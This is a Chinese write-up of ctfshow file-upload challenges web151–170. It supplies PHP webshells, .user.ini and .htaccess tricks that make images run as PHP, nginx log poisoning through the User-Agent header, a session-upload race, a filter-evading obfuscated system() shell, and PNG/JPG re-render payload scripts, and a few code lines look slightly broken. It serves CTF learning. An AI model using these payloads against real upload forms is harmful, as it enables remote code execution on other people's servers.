ctfshow_web_文件上传

web151

题目

image-20230925162146421

题解

本题进行了前端的验证,先新建一个文件,将一句话木马写入文件中

payload:

1
<?php eval(@$_POST['a']); ?>

将文件命名为2.png

然后在上传图片的时候抓包

把后缀改成php然后利用蚁剑连接遍历目录得到flag

image-20230925163430867

web152

题目

image-20230925164143397

image-20230925164202931

题解

image-20230925170152335

还是上一题的方法

web153

题目

/upload有index.php

题解

上传.user.ini 写入 auto_prepend_file=1.png
上传1.png 写入一句话木马 打开/upload/indedx.php
Post data: x=system(‘tac ../flag.php’);

有关php的.ini.php文件可以看我这篇博客

image-20230925172956358

web154

题目

题目说明:后端不能单二校验

题解

添加了对文件内容的过滤,不能使用php了

把图片的内容改为

1
<?=eval($_POST[a]); ?>

其他与153一样

image-20230925175901386

web155

题目

后端不能单三校验

题解

应该是添加了对文件头的过滤

有两种绕过的方式:

  • 修改文件头和二进制为png格式
  • 找一个png格式的图片,记事本打开保留前面的乱码,将一句话木马写入即可

其他步骤与上题相同

image-20230925181227982

web156

题目

添加了对方括号的过滤,用花括号代替

题解

image-20230925230148318

和上题其他步骤一样

web157

题目

1
后端不能单五校验

题解

image-20230925232846719

利用158的方法

web158

题目

1
后端不能单六校验

题解

array_pop

(PHP 4, PHP 5, PHP 7, PHP 8)

array_pop — 弹出数组最后一个单元(出栈)

说明

array_pop(array &$array): mixed

array_pop() 弹出并返回 array 最后一个元素的值,并将 array 的长度减一。

注意: 使用此函数后会重置(reset())array 指针。

参数
  • array

    需要弹出栈的数组。

返回值

返回 array 最后一个元素的值。如果 array 是空,将会返回 null

改6666.png的内容为

1
<?=array_pop($_POST())?>

image-20230925232215345

然后上传.user.ini

POST

1
1=system('tac ../flag.php');

web159

题目

题解

解法一:日志包含

先上传.user.ini
再上传1.png 内容<?=include"/var/lo"."g/nginx/access.lo"."g"?> (log被过滤)
再修改user-agent <?php eval($_POST[hack]);?>

image-20230926164058653

用蚁剑连接得到flag

image-20230926164550258

解法二

1
<?=`nl ../*`?>

image-20230926162855351

web160

题目

过滤了空格

题解

image-20230926165357991

和上题一样日志包含

web161

题目

对png和jpg过滤

题解

修改文件头为GIF89a

image-20230926170556710

web162

题目

题解

这次把.和flag给ban了,使用session文件包含

还是一样先上传.user.ini ,内容为

1
2
GIF89A
auto_append_file=/tmp/sess_monica

这样跳过了中间上传图片木马作为桥梁那部分,在upload/目录下就直接包含了session文件

然后构造一个上传session文件的包

1
2
3
4
5
6
7
8
9
10
11
<!DOCTYPE html>
<html>
<body>
<form action="http://c79ecd48-a6ab-4c73-87bc-e76e0f74e434.challenge.ctf.show:8080/" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" />
<input type="file" name="file" />
<input type="submit" value="submit" />
</form>
</body>
</html>
修改cookie,写入内容

访问upload/目录,目录下有index.php文件,即相当于在index.php文件中执行include /tmp/sess_monica

设置payload:

设置线程数

开始竞争即可

成功竞争:

web163

题目

1
玉石俱焚

题解

web164

题目

题解

本题直接对图片包含,可以通过php的二次渲染来实现RCE,运行脚本将木马写入图片中且不影响图片的大小尺寸。

python代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
from PIL import Image

# 定义颜色数组
p = [
0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
0x66, 0x44, 0x50, 0x33
]

# 创建一个32x32像素的图像
img = Image.new('RGB', (32, 32))

# 遍历颜色数组并设置像素颜色
for y in range(0, len(p), 3):
r = p[y]
g = p[y + 1]
b = p[y + 2]
img.putpixel((y // 3, 0), (r, g, b))

# 保存图像为PNG文件
img.save('1.png')

hackbarPOST传参抓包

image-20230926201114714

web165

题目

题解

jpg二次渲染脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
<?php
/*

The algorithm of injecting the payload into the JPG image, which will keep unchanged after transformations caused by PHP functions imagecopyresized() and imagecopyresampled().
It is necessary that the size and quality of the initial image are the same as those of the processed image.

1) Upload an arbitrary image via secured files upload script
2) Save the processed image and launch:
jpg_payload.php <jpg_name.jpg>

In case of successful injection you will get a specially crafted image, which should be uploaded again.

Since the most straightforward injection method is used, the following problems can occur:
1) After the second processing the injected data may become partially corrupted.
2) The jpg_payload.php script outputs "Something's wrong".
If this happens, try to change the payload (e.g. add some symbols at the beginning) or try another initial image.

Sergey Bobrov @Black2Fan.

See also:
https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/

*/

$miniPayload = "<?=phpinfo();?>";


if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) {
die('php-gd is not installed');
}

if(!isset($argv[1])) {
die('php jpg_payload.php <jpg_name.jpg>');
}

set_error_handler("custom_error_handler");

for($pad = 0; $pad < 1024; $pad++) {
$nullbytePayloadSize = $pad;
$dis = new DataInputStream($argv[1]);
$outStream = file_get_contents($argv[1]);
$extraBytes = 0;
$correctImage = TRUE;

if($dis->readShort() != 0xFFD8) {
die('Incorrect SOI marker');
}

while((!$dis->eof()) && ($dis->readByte() == 0xFF)) {
$marker = $dis->readByte();
$size = $dis->readShort() - 2;
$dis->skip($size);
if($marker === 0xDA) {
$startPos = $dis->seek();
$outStreamTmp =
substr($outStream, 0, $startPos) .
$miniPayload .
str_repeat("\0",$nullbytePayloadSize) .
substr($outStream, $startPos);
checkImage('_'.$argv[1], $outStreamTmp, TRUE);
if($extraBytes !== 0) {
while((!$dis->eof())) {
if($dis->readByte() === 0xFF) {
if($dis->readByte !== 0x00) {
break;
}
}
}
$stopPos = $dis->seek() - 2;
$imageStreamSize = $stopPos - $startPos;
$outStream =
substr($outStream, 0, $startPos) .
$miniPayload .
substr(
str_repeat("\0",$nullbytePayloadSize).
substr($outStream, $startPos, $imageStreamSize),
0,
$nullbytePayloadSize+$imageStreamSize-$extraBytes) .
substr($outStream, $stopPos);
} elseif($correctImage) {
$outStream = $outStreamTmp;
} else {
break;
}
if(checkImage('payload_'.$argv[1], $outStream)) {
die('Success!');
} else {
break;
}
}
}
}
unlink('payload_'.$argv[1]);
die('Something\'s wrong');

function checkImage($filename, $data, $unlink = FALSE) {
global $correctImage;
file_put_contents($filename, $data);
$correctImage = TRUE;
imagecreatefromjpeg($filename);
if($unlink)
unlink($filename);
return $correctImage;
}

function custom_error_handler($errno, $errstr, $errfile, $errline) {
global $extraBytes, $correctImage;
$correctImage = FALSE;
if(preg_match('/(\d+) extraneous bytes before marker/', $errstr, $m)) {
if(isset($m[1])) {
$extraBytes = (int)$m[1];
}
}
}

class DataInputStream {
private $binData;
private $order;
private $size;

public function __construct($filename, $order = false, $fromString = false) {
$this->binData = '';
$this->order = $order;
if(!$fromString) {
if(!file_exists($filename) || !is_file($filename))
die('File not exists ['.$filename.']');
$this->binData = file_get_contents($filename);
} else {
$this->binData = $filename;
}
$this->size = strlen($this->binData);
}

public function seek() {
return ($this->size - strlen($this->binData));
}

public function skip($skip) {
$this->binData = substr($this->binData, $skip);
}

public function readByte() {
if($this->eof()) {
die('End Of File');
}
$byte = substr($this->binData, 0, 1);
$this->binData = substr($this->binData, 1);
return ord($byte);
}

public function readShort() {
if(strlen($this->binData) < 2) {
die('End Of File');
}
$short = substr($this->binData, 0, 2);
$this->binData = substr($this->binData, 2);
if($this->order) {
$short = (ord($short[1]) << 8) + ord($short[0]);
} else {
$short = (ord($short[0]) << 8) + ord($short[1]);
}
return $short;
}

public function eof() {
return !$this->binData||(strlen($this->binData) === 0);
}
}
?>

web166

题解

找一个zip文件,记事本打开,写入一句话木马。然后蚁剑连接

web167

题解

httpd提示用.htaccess

上传.htaccess文件

1
2
3
4
<FilesMatch "6">
SetHandler application/x-httpd-php
</FilesMatch>

上传jpg文件名为6

一句话木马POST传6

image-20230928172050612

image-20230928172321440

web168

题目

基础免杀

题解

解法一

对eval,system还有$_POST和$_GET进行过滤,
$_REQUEST还可以用
PHP $_REQUEST 用于收集HTML表单提交的数据。
用$_REQUEST 提交两次数据,一次为参数,一次为函数system
php免杀绕过

1
2
3
4
5
6
<?php
$a = "s#y#s#t#e#m";
$b = explode("#",$a);
$c = $b[0].$b[1].$b[2].$b[3].$b[4].$b[5];
$c($_REQUEST[1]);
?>

explode() 函数使用一个字符串分割另一个字符串,并返回由字符串组成的数组。

1
$c = $b[0].$b[1].$b[2].$b[3].$b[4].$b[5];

组合为system
上传png抓包修改后缀为php

image-20230929000142653

image-20230929000219068

解法二

1
<?=`ls ..`;

web169

题目

高级免杀

题解

日志包含

上传一个

1
.user.ini
1
2
GIF89a
auto_prepend_file=/var/log/nginx/access.log

修改UA

1
2
3
4
5
User-Agent: <?=`tac ../f*` ?>
User-Agent: <?=`ls ../` ?>
User-Agent: <?=`echo '11111111'` ?>
User-Agent: <?php system('tac ../f*');?>
User-Agent: <?php @eval($_POST['1']); ?>

image-20230929001647249

web170

同web169